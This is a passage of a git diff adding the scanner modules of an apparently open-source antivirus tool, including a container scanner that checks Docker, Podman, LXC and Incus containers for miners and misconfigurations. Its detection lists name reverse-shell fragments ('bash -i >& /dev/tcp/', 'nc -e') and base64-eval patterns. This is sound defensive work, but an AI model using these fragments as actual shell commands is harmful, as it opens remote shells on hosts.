+ + + +""" + return html + + # ------------------------------------------------------------------ + # File output + # ------------------------------------------------------------------ + + @staticmethod + def save_report(content: str, filepath: str | Path) -> None: + """Write *content* to *filepath*, creating parent dirs if needed.""" + fp = Path(filepath) + fp.parent.mkdir(parents=True, exist_ok=True) + fp.write_text(content, encoding="utf-8") + + +# --------------------------------------------------------------------------- +# Internal helpers +# --------------------------------------------------------------------------- + +def _extract(result: AnyResult) -> tuple: + """Return ``(threats_list, meta_dict)`` from either result type.""" + if isinstance(result, FullScanResult): + sr = result.file_scan + threats = list(sr.threats) + elif isinstance(result, ScanResult): + sr = result + threats = list(sr.threats) + else: + sr = result + threats = [] + + meta: Dict[str, Any] = { + "scan_id": getattr(sr, "scan_id", None), + "scan_type": sr.scan_type.value if hasattr(sr, "scan_type") else None, + "start_time": sr.start_time.isoformat() if hasattr(sr, "start_time") and sr.start_time else None, + "end_time": sr.end_time.isoformat() if hasattr(sr, "end_time") and sr.end_time else None, + "duration": sr.duration_seconds if hasattr(sr, "duration_seconds") else 0, + "files_scanned": getattr(sr, "files_scanned", 0), + "files_skipped": getattr(sr, "files_skipped", 0), + } + return threats, meta + + +def _sev_str(threat: ThreatInfo) -> str: + """Return the severity as an uppercase string.""" + sev = threat.severity + if hasattr(sev, "name"): + return sev.name + return str(sev).upper() + + +def _severity_counts(threats: List[ThreatInfo]) -> Dict[str, int]: + counts: Dict[str, int] = {"CRITICAL": 0, "HIGH": 0, "MEDIUM": 0, "LOW": 0} + for t in threats: + key = _sev_str(t) + counts[key] = counts.get(key, 0) + 1 + return counts + + +# --------------------------------------------------------------------------- +# Embedded CSS (dark theme) +# --------------------------------------------------------------------------- +_CSS = """\ +:root { + --bg: #0f1117; + --surface: #1a1d27; + --border: #2a2d3a; + --text: #e0e0e0; + --text-dim: #8b8fa3; + --accent: #00bcd4; + --critical: #ff1744; + --high: #ff9100; + --medium: #ffea00; + --low: #00e676; + --clean: #00e676; + --infected: #ff1744; +} + +* { margin: 0; padding: 0; box-sizing: border-box; } + +body { + font-family: 'Segoe UI', 'Inter', system-ui, -apple-system, sans-serif; + background: var(--bg); + color: var(--text); + line-height: 1.6; + padding: 0; +} + +header { + background: linear-gradient(135deg, #1a1d27 0%, #0d1117 100%); + border-bottom: 2px solid var(--accent); + text-align: center; + padding: 2rem 1rem; +} + +header .logo { + font-size: 2rem; + font-weight: 800; + color: var(--accent); + letter-spacing: 0.1em; +} + +header .subtitle { + color: var(--text-dim); + font-size: 0.95rem; + margin-top: 0.3rem; +} + +section { + max-width: 1200px; + margin: 2rem auto; + padding: 0 1.5rem; +} + +h2 { + color: var(--accent); + font-size: 1.25rem; + margin-bottom: 1rem; + border-bottom: 1px solid var(--border); + padding-bottom: 0.4rem; +} + +/* Summary cards */ +.cards { + display: flex; + flex-wrap: wrap; + gap: 1rem; + max-width: 1200px; + margin: 2rem auto; + padding: 0 1.5rem; +} + +.card { + flex: 1 1 140px; + background: var(--surface); + border: 1px solid var(--border); + border-radius: 8px; + padding: 1.2rem 1rem; + text-align: center; +} + +.card-value { + font-size: 2rem; + font-weight: 700; + color: var(--text); +} + +.card-label { + color: var(--text-dim); + font-size: 0.85rem; + margin-top: 0.2rem; +} + +.card-clean .card-value { color: var(--clean); } +.card-infected .card-value { color: var(--infected); } +.card-critical .card-value { color: var(--critical); } +.card-high .card-value { color: var(--high); } +.card-medium .card-value { color: var(--medium); } +.card-low .card-value { color: var(--low); } + +/* Tables */ +table { + width: 100%; + border-collapse: collapse; +} + +.info-table td { + padding: 0.5rem 0.75rem; + border-bottom: 1px solid var(--border); +} + +.info-table td:first-child { + color: var(--text-dim); + width: 180px; + font-weight: 600; +} + +.threat-table { + background: var(--surface); + border: 1px solid var(--border); + border-radius: 8px; + overflow: hidden; +} + +.threat-table thead th { + background: #12141c; + color: var(--accent); + padding: 0.7rem 0.75rem; + text-align: left; + font-size: 0.85rem; + text-transform: uppercase; + letter-spacing: 0.05em; +} + +.threat-table tbody td { + padding: 0.6rem 0.75rem; + border-bottom: 1px solid var(--border); + font-size: 0.9rem; + word-break: break-all; +} + +.threat-table tbody tr:hover { + background: rgba(0, 188, 212, 0.06); +} + +.threat-table .idx { color: var(--text-dim); width: 40px; } +.threat-table .hash { font-family: monospace; color: var(--text-dim); font-size: 0.8rem; } +.threat-table .empty { text-align: center; color: var(--clean); padding: 2rem; font-size: 1.1rem; } + +/* Severity badges */ +.badge { + display: inline-block; + padding: 0.15rem 0.6rem; + border-radius: 4px; + font-size: 0.78rem; + font-weight: 700; + text-transform: uppercase; + letter-spacing: 0.04em; +} + +.badge-critical { background: rgba(255,23,68,0.15); color: var(--critical); border: 1px solid var(--critical); } +.badge-high { background: rgba(255,145,0,0.15); color: var(--high); border: 1px solid var(--high); } +.badge-medium { background: rgba(255,234,0,0.12); color: var(--medium); border: 1px solid var(--medium); } +.badge-low { background: rgba(0,230,118,0.12); color: var(--low); border: 1px solid var(--low); } + +/* Footer */ +footer { + text-align: center; + color: var(--text-dim); + font-size: 0.8rem; + padding: 2rem 1rem; + border-top: 1px solid var(--border); + margin-top: 3rem; +} + +/* System info */ +.system { margin-bottom: 2rem; } +""" diff --git a/ayn-antivirus/ayn_antivirus/scanners/__init__.py b/ayn-antivirus/ayn_antivirus/scanners/__init__.py new file mode 100644 index 0000000..128eb00 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/scanners/__init__.py @@ -0,0 +1,17 @@ +"""AYN Antivirus scanner modules.""" + +from ayn_antivirus.scanners.base import BaseScanner +from ayn_antivirus.scanners.container_scanner import ContainerScanner +from ayn_antivirus.scanners.file_scanner import FileScanner +from ayn_antivirus.scanners.memory_scanner import MemoryScanner +from ayn_antivirus.scanners.network_scanner import NetworkScanner +from ayn_antivirus.scanners.process_scanner import ProcessScanner + +__all__ = [ + "BaseScanner", + "ContainerScanner", + "FileScanner", + "MemoryScanner", + "NetworkScanner", + "ProcessScanner", +] diff --git a/ayn-antivirus/ayn_antivirus/scanners/base.py b/ayn-antivirus/ayn_antivirus/scanners/base.py new file mode 100644 index 0000000..f5f26fe --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/scanners/base.py @@ -0,0 +1,58 @@ +"""Abstract base class for all AYN scanners.""" + +from __future__ import annotations + +import logging +from abc import ABC, abstractmethod +from typing import Any + +logger = logging.getLogger(__name__) + + +class BaseScanner(ABC): + """Common interface that every scanner module must implement. + + Subclasses provide a ``scan`` method whose *target* argument type varies + by scanner (a file path, a PID, a network connection, etc.). + """ + + # ------------------------------------------------------------------ + # Identity + # ------------------------------------------------------------------ + + @property + @abstractmethod + def name(self) -> str: + """Short, machine-friendly scanner identifier (e.g. ``"file_scanner"``).""" + ... + + @property + @abstractmethod + def description(self) -> str: + """Human-readable one-liner describing what this scanner does.""" + ... + + # ------------------------------------------------------------------ + # Scanning + # ------------------------------------------------------------------ + + @abstractmethod + def scan(self, target: Any) -> Any: + """Run the scanner against *target* and return a result object. + + The concrete return type is defined by each subclass. + """ + ... + + # ------------------------------------------------------------------ + # Helpers available to all subclasses + # ------------------------------------------------------------------ + + def _log_info(self, msg: str, *args: Any) -> None: + logger.info("[%s] " + msg, self.name, *args) + + def _log_warning(self, msg: str, *args: Any) -> None: + logger.warning("[%s] " + msg, self.name, *args) + + def _log_error(self, msg: str, *args: Any) -> None: + logger.error("[%s] " + msg, self.name, *args) diff --git a/ayn-antivirus/ayn_antivirus/scanners/container_scanner.py b/ayn-antivirus/ayn_antivirus/scanners/container_scanner.py new file mode 100644 index 0000000..2f583c9 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/scanners/container_scanner.py @@ -0,0 +1,1285 @@ +"""AYN Antivirus — Container Scanner. + +Scans Docker, Podman, and LXC containers for threats. +Supports: listing containers, scanning container filesystems, +inspecting container processes, checking container images, +and detecting cryptominers/malware inside containers. +""" + +from __future__ import annotations + +import json +import logging +import re +import shutil +import subprocess +from dataclasses import dataclass, field +from datetime import datetime +from typing import Any, Dict, List, Optional, Tuple + +from ayn_antivirus.constants import ( + CRYPTO_MINER_PROCESS_NAMES, + CRYPTO_POOL_DOMAINS, + SUSPICIOUS_PORTS, +) +from ayn_antivirus.scanners.base import BaseScanner +from ayn_antivirus.utils.helpers import generate_id + +logger = logging.getLogger(__name__) + + +# --------------------------------------------------------------------------- +# Data classes +# --------------------------------------------------------------------------- + +@dataclass +class ContainerInfo: + """Information about a discovered container.""" + + container_id: str + name: str + image: str + status: str # running, stopped, paused + runtime: str # docker, podman, lxc + created: str + ports: List[str] = field(default_factory=list) + mounts: List[str] = field(default_factory=list) + pid: int = 0 # host PID of container init process + ip_address: str = "" + labels: Dict[str, str] = field(default_factory=dict) + + def to_dict(self) -> dict: + return { + "container_id": self.container_id, + "name": self.name, + "image": self.image, + "status": self.status, + "runtime": self.runtime, + "created": self.created, + "ports": self.ports, + "mounts": self.mounts, + "pid": self.pid, + "ip_address": self.ip_address, + "labels": self.labels, + } + + +@dataclass +class ContainerThreat: + """A threat detected inside a container.""" + + container_id: str + container_name: str + runtime: str + threat_name: str + threat_type: str # virus, malware, miner, spyware, rootkit, misconfiguration + severity: str # CRITICAL, HIGH, MEDIUM, LOW + details: str + file_path: str = "" + process_name: str = "" + timestamp: str = field( + default_factory=lambda: datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S"), + ) + + def to_dict(self) -> dict: + return { + "container_id": self.container_id, + "container_name": self.container_name, + "runtime": self.runtime, + "threat_name": self.threat_name, + "threat_type": self.threat_type, + "severity": self.severity, + "details": self.details, + "file_path": self.file_path, + "process_name": self.process_name, + "timestamp": self.timestamp, + } + + +@dataclass +class ContainerScanResult: + """Result of scanning containers.""" + + scan_id: str + start_time: str + end_time: str = "" + containers_found: int = 0 + containers_scanned: int = 0 + threats: List[ContainerThreat] = field(default_factory=list) + containers: List[ContainerInfo] = field(default_factory=list) + errors: List[str] = field(default_factory=list) + + @property + def is_clean(self) -> bool: + return len(self.threats) == 0 + + @property + def duration_seconds(self) -> float: + if not self.end_time or not self.start_time: + return 0.0 + try: + s = datetime.strptime(self.start_time, "%Y-%m-%d %H:%M:%S") + e = datetime.strptime(self.end_time, "%Y-%m-%d %H:%M:%S") + return (e - s).total_seconds() + except Exception: + return 0.0 + + def to_dict(self) -> dict: + return { + "scan_id": self.scan_id, + "start_time": self.start_time, + "end_time": self.end_time, + "containers_found": self.containers_found, + "containers_scanned": self.containers_scanned, + "threats_found": len(self.threats), + "threats": [t.to_dict() for t in self.threats], + "containers": [c.to_dict() for c in self.containers], + "errors": self.errors, + "duration_seconds": self.duration_seconds, + } + + +# --------------------------------------------------------------------------- +# Scanner +# --------------------------------------------------------------------------- + +class ContainerScanner(BaseScanner): + """Scans Docker, Podman, and LXC containers for security threats. + + Gracefully degrades when a container runtime is not installed — only + the available runtimes are exercised. + """ + + _SAFE_CONTAINER_ID = re.compile(r'^[a-zA-Z0-9][a-zA-Z0-9_.\-]*$') + + def __init__(self) -> None: + self._docker_cmd = self._find_command("docker") + self._podman_cmd = self._find_command("podman") + self._lxc_cmd = self._find_command("lxc-ls") + self._incus_cmd = self._find_command("incus") + self._available_runtimes: List[str] = [] + if self._incus_cmd: + self._available_runtimes.append("incus") + if self._docker_cmd: + self._available_runtimes.append("docker") + if self._podman_cmd: + self._available_runtimes.append("podman") + if self._lxc_cmd: + self._available_runtimes.append("lxc") + + # ------------------------------------------------------------------ + # BaseScanner interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "container_scanner" + + @property + def description(self) -> str: + return ( + "Scans Docker, Podman, and LXC containers for malware, " + "miners, and misconfigurations" + ) + + @property + def available_runtimes(self) -> List[str]: + return list(self._available_runtimes) + + def scan(self, target: Any = "all") -> ContainerScanResult: + """Scan all containers or a specific one. + + Parameters + ---------- + target: + ``"all"``, a runtime name (``"docker"``, ``"podman"``, + ``"lxc"``), or a container ID / name. + """ + result = ContainerScanResult( + scan_id=generate_id()[:16], + start_time=datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S"), + ) + + if not self._available_runtimes: + result.errors.append( + "No container runtimes found (docker/podman/lxc not installed)" + ) + result.end_time = datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S") + return result + + target = str(target) + if target in ("all", "docker", "podman", "lxc"): + runtime = "all" if target == "all" else target + containers = self.list_containers( + runtime=runtime, include_stopped=True, + ) + else: + containers = self._find_container(target) + + result.containers = containers + result.containers_found = len(containers) + + for container in containers: + try: + threats = self._scan_container(container) + result.threats.extend(threats) + result.containers_scanned += 1 + except Exception as exc: + msg = f"Error scanning {container.name}: {exc}" + result.errors.append(msg) + self._log_error("Error scanning container %s: %s", container.name, exc) + + result.end_time = datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S") + return result + + def scan_container(self, container_id: str) -> ContainerScanResult: + """Convenience — scan a single container by ID or name.""" + cid = self._sanitize_id(container_id) + return self.scan(target=cid) + + # ------------------------------------------------------------------ + # Internal helpers + # ------------------------------------------------------------------ + + @staticmethod + def _find_command(cmd: str) -> Optional[str]: + return shutil.which(cmd) + + @staticmethod + def _run_cmd( + cmd: List[str], + timeout: int = 30, + ) -> Tuple[str, str, int]: + """Run a shell command and return ``(stdout, stderr, returncode)``.""" + try: + proc = subprocess.run( + cmd, capture_output=True, text=True, timeout=timeout, + ) + return proc.stdout.strip(), proc.stderr.strip(), proc.returncode + except subprocess.TimeoutExpired: + return "", f"Command timed out: {' '.join(cmd)}", -1 + except FileNotFoundError: + return "", f"Command not found: {cmd[0]}", -1 + except Exception as exc: + return "", str(exc), -1 + + def _sanitize_id(self, container_id: str) -> str: + """Sanitize container ID/name for safe use in subprocess commands. + + Raises :class:`ValueError` if the ID contains invalid characters + or exceeds length limits. + """ + cid = container_id.strip() + if not cid or len(cid) > 128: + raise ValueError(f"Invalid container ID length: {len(cid)}") + if not self._SAFE_CONTAINER_ID.match(cid): + raise ValueError(f"Invalid container ID characters: {cid!r}") + return cid + + # ------------------------------------------------------------------ + # Container discovery + # ------------------------------------------------------------------ + + def list_containers( + self, + runtime: str = "all", + include_stopped: bool = False, + ) -> List[ContainerInfo]: + """List all containers across available runtimes.""" + containers: List[ContainerInfo] = [] + runtimes = ( + self._available_runtimes if runtime == "all" else [runtime] + ) + + for rt in runtimes: + if rt == "incus" and self._incus_cmd: + containers.extend(self._list_incus(include_stopped)) + elif rt == "docker" and self._docker_cmd: + containers.extend(self._list_docker(include_stopped)) + elif rt == "podman" and self._podman_cmd: + containers.extend(self._list_podman(include_stopped)) + elif rt == "lxc" and self._lxc_cmd: + containers.extend(self._list_lxc()) + + return containers + + # -- Docker -------------------------------------------------------- + + def _list_docker(self, include_stopped: bool = False) -> List[ContainerInfo]: + fmt = ( + "{{.ID}}\t{{.Names}}\t{{.Image}}\t{{.Status}}" + "\t{{.CreatedAt}}\t{{.Ports}}" + ) + cmd = [self._docker_cmd, "ps", "--format", fmt, "--no-trunc"] + if include_stopped: + cmd.append("-a") + stdout, stderr, rc = self._run_cmd(cmd) + if rc != 0: + self._log_warning("Docker ps failed: %s", stderr) + return [] + + containers: List[ContainerInfo] = [] + for line in stdout.splitlines(): + if not line.strip(): + continue + parts = line.split("\t") + if len(parts) < 4: + continue + cid = parts[0][:12] + name = parts[1] if len(parts) > 1 else "" + image = parts[2] if len(parts) > 2 else "" + status_str = parts[3] if len(parts) > 3 else "" + created = parts[4] if len(parts) > 4 else "" + ports_str = parts[5] if len(parts) > 5 else "" + + status = ( + "running" if "Up" in status_str + else "stopped" if "Exited" in status_str + else "unknown" + ) + ports = ( + [p.strip() for p in ports_str.split(",") if p.strip()] + if ports_str else [] + ) + info = self._inspect_docker(cid) + containers.append(ContainerInfo( + container_id=cid, + name=name, + image=image, + status=status, + runtime="docker", + created=created, + ports=ports, + mounts=info.get("mounts", []), + pid=info.get("pid", 0), + ip_address=info.get("ip", ""), + labels=info.get("labels", {}), + )) + return containers + + def _inspect_docker(self, container_id: str) -> Dict[str, Any]: + cid = self._sanitize_id(container_id) + cmd = [self._docker_cmd, "inspect", cid] + stdout, _, rc = self._run_cmd(cmd, timeout=10) + if rc != 0: + return {} + try: + data = json.loads(stdout) + if not data: + return {} + c = data[0] + state = c.get("State", {}) + network = c.get("NetworkSettings", {}) + mounts = [m.get("Source", "") for m in c.get("Mounts", [])] + ip = "" + for net_info in network.get("Networks", {}).values(): + if net_info.get("IPAddress"): + ip = net_info["IPAddress"] + break + return { + "pid": state.get("Pid", 0), + "ip": ip, + "mounts": mounts, + "labels": c.get("Config", {}).get("Labels", {}), + } + except (json.JSONDecodeError, KeyError, IndexError): + return {} + + # -- Podman -------------------------------------------------------- + + def _list_podman(self, include_stopped: bool = False) -> List[ContainerInfo]: + cmd = [self._podman_cmd, "ps", "--format", "json"] + if include_stopped: + cmd.append("-a") + stdout, stderr, rc = self._run_cmd(cmd) + if rc != 0: + self._log_warning("Podman ps failed: %s", stderr) + return [] + try: + data = json.loads(stdout) if stdout else [] + except json.JSONDecodeError: + return [] + + containers: List[ContainerInfo] = [] + for c in data: + cid = str(c.get("Id", ""))[:12] + names = c.get("Names", []) + name = names[0] if names else cid + status_str = str(c.get("State", c.get("Status", ""))) + status = ( + "running" if status_str.lower() in ("running", "up") + else "stopped" + ) + ports_list: List[str] = [] + for p in c.get("Ports", []) or []: + if isinstance(p, dict): + ports_list.append( + f"{p.get('hostPort', '')}:{p.get('containerPort', '')}" + ) + else: + ports_list.append(str(p)) + containers.append(ContainerInfo( + container_id=cid, + name=name, + image=c.get("Image", ""), + status=status, + runtime="podman", + created=str(c.get("Created", c.get("CreatedAt", ""))), + ports=ports_list, + pid=c.get("Pid", 0), + labels=c.get("Labels", {}), + )) + return containers + + # -- LXC ----------------------------------------------------------- + + def _list_lxc(self) -> List[ContainerInfo]: + stdout, stderr, rc = self._run_cmd( + [self._lxc_cmd, "--fancy", "-F", "name,state,ipv4,pid"], + ) + if rc != 0: + self._log_warning("LXC list failed: %s", stderr) + return [] + containers: List[ContainerInfo] = [] + for line in stdout.splitlines()[1:]: # skip header + parts = line.split() + if len(parts) < 2: + continue + name = parts[0] + state = parts[1].lower() + ip = parts[2] if len(parts) > 2 and parts[2] != "-" else "" + pid = ( + int(parts[3]) + if len(parts) > 3 and parts[3].isdigit() + else 0 + ) + containers.append(ContainerInfo( + container_id=name, + name=name, + image="lxc", + status="running" if state == "running" else "stopped", + runtime="lxc", + created="", + pid=pid, + ip_address=ip, + )) + return containers + + # -- Incus --------------------------------------------------------- + + def _list_incus(self, include_stopped: bool = False) -> List[ContainerInfo]: + """List Incus containers (and optionally VMs).""" + cmd = [self._incus_cmd, "list", "--format", "json"] + stdout, stderr, rc = self._run_cmd(cmd, timeout=15) + if rc != 0: + self._log_warning("Incus list failed: %s", stderr) + return [] + try: + data = json.loads(stdout) if stdout else [] + except json.JSONDecodeError: + return [] + + containers: List[ContainerInfo] = [] + for c in data: + status_str = c.get("status", "").lower() + if not include_stopped and status_str != "running": + continue + + name = c.get("name", "") + ctype = c.get("type", "container") + + # Extract IPv4 addresses from the network state. + ip_address = "" + net_state = c.get("state", {}).get("network", {}) or {} + for iface_name, iface in net_state.items(): + if iface_name == "lo": + continue + for addr in iface.get("addresses", []): + if addr.get("family") == "inet" and addr.get("scope") == "global": + ip_address = addr.get("address", "") + break + if ip_address: + break + + # Fallback: try expanded_devices for static IP. + if not ip_address: + devices = c.get("expanded_devices", {}) + for dev in devices.values(): + if dev.get("type") == "nic" and dev.get("ipv4.address"): + ip_address = dev["ipv4.address"] + break + + config = c.get("config", {}) + image_desc = config.get("image.description", "") + image_os = config.get("image.os", "") + image_release = config.get("image.release", "") + image = image_desc or f"{image_os} {image_release}".strip() or ctype + + # Proxy ports (Incus proxy devices act like port mappings). + ports: List[str] = [] + for dev_name, dev in c.get("expanded_devices", {}).items(): + if dev.get("type") == "proxy": + listen = dev.get("listen", "") + connect = dev.get("connect", "") + if listen and connect: + ports.append(f"{listen} -> {connect}") + + containers.append(ContainerInfo( + container_id=name, + name=name, + image=image, + status="running" if status_str == "running" else "stopped", + runtime="incus", + created=c.get("created_at", ""), + ports=ports, + ip_address=ip_address, + labels={ + k: v for k, v in config.items() + if not k.startswith("volatile.") + and not k.startswith("image.") + }, + )) + return containers + + def _inspect_incus(self, container_name: str) -> Dict[str, Any]: + """Inspect an Incus container for security-relevant config.""" + name = self._sanitize_id(container_name) + cmd = [self._incus_cmd, "config", "show", name] + stdout, _, rc = self._run_cmd(cmd, timeout=10) + if rc != 0: + return {} + try: + import yaml + data = yaml.safe_load(stdout) or {} + except Exception: + # Fallback: parse key lines manually. + data = {} + for line in stdout.splitlines(): + line = line.strip() + if ": " in line: + k, v = line.split(": ", 1) + data[k.strip()] = v.strip() + return data + + # ------------------------------------------------------------------ + # Container lookup + # ------------------------------------------------------------------ + + def _find_container(self, identifier: str) -> List[ContainerInfo]: + """Find a container by ID prefix or name across all runtimes.""" + safe_id = self._sanitize_id(identifier) + all_containers = self.list_containers( + runtime="all", include_stopped=True, + ) + return [ + c for c in all_containers + if safe_id in c.container_id + or safe_id.lower() == c.name.lower() + ] + + # ------------------------------------------------------------------ + # Scanning pipeline + # ------------------------------------------------------------------ + + def _scan_container( + self, container: ContainerInfo, + ) -> List[ContainerThreat]: + """Run all checks on a single container.""" + threats: List[ContainerThreat] = [] + + # Running-only checks + if container.status == "running": + threats.extend(self._check_processes(container)) + threats.extend(self._check_network(container)) + + # Always check these + threats.extend(self._check_filesystem(container)) + threats.extend(self._check_misconfigurations(container)) + if container.runtime == "incus": + threats.extend(self._check_incus_security(container)) + else: + threats.extend(self._check_image(container)) + + return threats + + # -- Process checks ------------------------------------------------ + + def _check_processes( + self, container: ContainerInfo, + ) -> List[ContainerThreat]: + """Check running processes inside the container for miners / malware.""" + threats: List[ContainerThreat] = [] + cmd_prefix = self._get_exec_prefix(container) + if not cmd_prefix: + return threats + + # Try ``ps aux`` inside the container. + stdout, _, rc = self._run_cmd(cmd_prefix + ["ps", "aux"], timeout=15) + if rc != 0: + # Fallback: ``docker|podman top``. + if container.runtime in ("docker", "podman"): + rt_cmd = ( + self._docker_cmd + if container.runtime == "docker" + else self._podman_cmd + ) + stdout, _, rc = self._run_cmd( + [rt_cmd, "top", container.container_id, + "-eo", "pid,user,%cpu,%mem,comm,args"], + timeout=15, + ) + if rc != 0: + return threats + + miner_names_lower = {n.lower() for n in CRYPTO_MINER_PROCESS_NAMES} + + for line in stdout.splitlines()[1:]: # skip header + parts = line.split() + if len(parts) < 6: + continue + + process_name = parts[-1].split("/")[-1].lower() + full_cmd = ( + " ".join(parts[10:]) + if len(parts) > 10 + else " ".join(parts[5:]) + ) + + # Known miner process names + for miner in miner_names_lower: + if miner in process_name or miner in full_cmd.lower(): + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name=f"CryptoMiner.Container.{miner.title()}", + threat_type="miner", + severity="CRITICAL", + details=( + f"Crypto miner process '{process_name}' detected " + f"inside container. CMD: {full_cmd[:200]}" + ), + process_name=process_name, + )) + break + + # High CPU usage + try: + cpu = float(parts[2]) + if cpu > 80: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="HighCPU.Container.SuspiciousProcess", + threat_type="miner", + severity="HIGH", + details=( + f"Process '{process_name}' using {cpu}% CPU " + f"inside container. Possible cryptominer." + ), + process_name=process_name, + )) + except (ValueError, IndexError): + pass + + # Reverse shells + _SHELL_INDICATORS = [ + "nc -e", "ncat -e", "bash -i", "/dev/tcp/", + "python -c 'import socket", + "perl -e 'use Socket", + "ruby -rsocket", + "php -r '$sock", + ] + for indicator in _SHELL_INDICATORS: + if indicator in full_cmd: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="ReverseShell.Container", + threat_type="malware", + severity="CRITICAL", + details=( + f"Reverse shell detected inside container: " + f"{full_cmd[:200]}" + ), + process_name=process_name, + )) + break + + return threats + + # -- Network checks ------------------------------------------------ + + def _check_network( + self, container: ContainerInfo, + ) -> List[ContainerThreat]: + """Check container network connections for suspicious activity.""" + threats: List[ContainerThreat] = [] + cmd_prefix = self._get_exec_prefix(container) + if not cmd_prefix: + return threats + + stdout, _, rc = self._run_cmd( + cmd_prefix + ["sh", "-c", "ss -tnp 2>/dev/null || netstat -tnp 2>/dev/null"], + timeout=15, + ) + if rc != 0 or not stdout: + return threats + + pool_domains_lower = {d.lower() for d in CRYPTO_POOL_DOMAINS} + + for line in stdout.splitlines(): + line_lower = line.lower() + for pool in pool_domains_lower: + if pool in line_lower: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name=f"MiningPool.Container.{pool}", + threat_type="miner", + severity="CRITICAL", + details=( + f"Container connecting to mining pool: " + f"{line.strip()[:200]}" + ), + )) + for port in SUSPICIOUS_PORTS: + if f":{port}" in line: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name=f"SuspiciousPort.Container.{port}", + threat_type="malware", + severity="MEDIUM", + details=( + f"Container connection on suspicious port {port}: " + f"{line.strip()[:200]}" + ), + )) + + return threats + + # -- Filesystem checks --------------------------------------------- + + def _check_filesystem( + self, container: ContainerInfo, + ) -> List[ContainerThreat]: + """Scan container filesystem for suspicious files.""" + threats: List[ContainerThreat] = [] + + if container.runtime == "incus": + return self._check_filesystem_via_exec(container) + + if container.runtime not in ("docker", "podman"): + return threats + runtime_cmd = ( + self._docker_cmd + if container.runtime == "docker" + else self._podman_cmd + ) + if not runtime_cmd: + return threats + + # -- suspicious scripts in temp directories -------------------- + check_dirs = ["/tmp", "/var/tmp", "/dev/shm", "/root", "/home"] + for check_dir in check_dirs: + cmd = [ + runtime_cmd, "exec", container.container_id, + "find", check_dir, "-maxdepth", "3", "-type", "f", + "-name", "*.sh", "-o", "-name", "*.py", + "-o", "-name", "*.elf", "-o", "-name", "*.bin", + ] + stdout, _, rc = self._run_cmd(cmd, timeout=15) + if rc != 0 or not stdout: + continue + for fpath in stdout.splitlines()[:50]: + fpath = fpath.strip() + if not fpath: + continue + cat_cmd = [ + runtime_cmd, "exec", container.container_id, + "head", "-c", "8192", fpath, + ] + content, _, crc = self._run_cmd(cat_cmd, timeout=10) + if crc != 0: + continue + ct_lower = content.lower() + + if "stratum+tcp://" in ct_lower or "stratum+ssl://" in ct_lower: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="MinerConfig.Container", + threat_type="miner", + severity="CRITICAL", + details=( + f"Mining configuration found in container: {fpath}" + ), + file_path=fpath, + )) + + _MALICIOUS_PATTERNS = [ + "eval(base64_decode(", + "exec(base64.b64decode(", + "import socket;socket.socket", + "/dev/tcp/", + "bash -i >& /dev/tcp/", + ] + if any(s in ct_lower for s in _MALICIOUS_PATTERNS): + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="MaliciousScript.Container", + threat_type="malware", + severity="HIGH", + details=( + f"Suspicious script pattern in container file: " + f"{fpath}" + ), + file_path=fpath, + )) + + # -- unexpected SUID binaries ---------------------------------- + _EXPECTED_SUID = { + "/usr/bin/passwd", "/usr/bin/su", "/usr/bin/sudo", + "/usr/bin/newgrp", "/usr/bin/chfn", "/usr/bin/chsh", + "/usr/bin/gpasswd", "/bin/su", "/bin/mount", "/bin/umount", + "/usr/bin/mount", "/usr/bin/umount", + } + cmd = [ + runtime_cmd, "exec", container.container_id, + "find", "/", "-maxdepth", "4", "-perm", "-4000", "-type", "f", + ] + stdout, _, rc = self._run_cmd(cmd, timeout=20) + if rc == 0 and stdout: + for fpath in stdout.splitlines(): + fpath = fpath.strip() + if fpath and fpath not in _EXPECTED_SUID: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="UnexpectedSUID.Container", + threat_type="rootkit", + severity="MEDIUM", + details=( + f"Unexpected SUID binary in container: {fpath}" + ), + file_path=fpath, + )) + + return threats + + # -- Misconfiguration checks --------------------------------------- + + def _check_misconfigurations( + self, container: ContainerInfo, + ) -> List[ContainerThreat]: + """Check container for security misconfigurations.""" + threats: List[ContainerThreat] = [] + + # Incus misconfigs are handled in _check_incus_security. + if container.runtime not in ("docker", "podman"): + return threats + runtime_cmd = ( + self._docker_cmd + if container.runtime == "docker" + else self._podman_cmd + ) + if not runtime_cmd: + return threats + + stdout, _, rc = self._run_cmd( + [runtime_cmd, "inspect", container.container_id], + ) + if rc != 0: + return threats + try: + data = json.loads(stdout) + if not data: + return threats + c = data[0] + except (json.JSONDecodeError, IndexError): + return threats + + host_config = c.get("HostConfig", {}) + config = c.get("Config", {}) + + # Running as root + user = config.get("User", "") + if not user or user in ("root", "0"): + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="RunAsRoot.Container", + threat_type="misconfiguration", + severity="MEDIUM", + details=( + "Container running as root user. " + "Use a non-root user for better isolation." + ), + )) + + # Privileged mode + if host_config.get("Privileged", False): + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="PrivilegedMode.Container", + threat_type="misconfiguration", + severity="CRITICAL", + details=( + "Container running in privileged mode! " + "This grants full host access." + ), + )) + + # Host network + if host_config.get("NetworkMode", "") == "host": + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="HostNetwork.Container", + threat_type="misconfiguration", + severity="HIGH", + details=( + "Container using host network mode. " + "This bypasses network isolation." + ), + )) + + # Host PID namespace + if host_config.get("PidMode") == "host": + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + 